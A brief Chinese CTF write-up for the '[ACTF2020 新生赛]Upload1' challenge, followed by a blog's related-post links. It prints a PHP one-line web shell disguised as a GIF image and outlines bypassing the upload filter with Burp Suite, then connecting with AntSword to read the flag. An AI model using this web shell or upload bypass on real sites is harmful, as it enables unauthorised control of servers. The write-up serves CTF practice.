1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马
GIF89a? <script language="php">eval($_REQUEST[1])</script>
2、使用bp抓包修改后缀，点击发送
3、不关浏览器的代理，在bp中将该包放行
4、用蚁剑连接
5、在根目录中找到flag
[ACTF2020 新生赛]Upload1
不拿flag不改名2024-09-12 13:20
相关推荐
TimeFine13 分钟前
Android 邮件发送日志杨过过儿19 分钟前
【Task02】：四步构建简单rag（第一章3节）Wgllss38 分钟前
Kotlin 享元设计模式详解 和对象池及在内存优化中的几种案例和应用场景zzywxc7873 小时前
AI 行业应用：金融、医疗、教育、制造业领域的落地案例与技术实现sTone873753 小时前
android studio之外使用NDK编译生成android指定架构的动态库胖虎14 小时前
Android 入门到实战（三）：ViewPager及ViewPager2多页面布局风往哪边走5 小时前
Media3在线本地视频播放器激昂网络6 小时前
android kernel代码 common-android13-5.15 下载 编译Monkey-旭6 小时前
Android 人脸识别技术全解析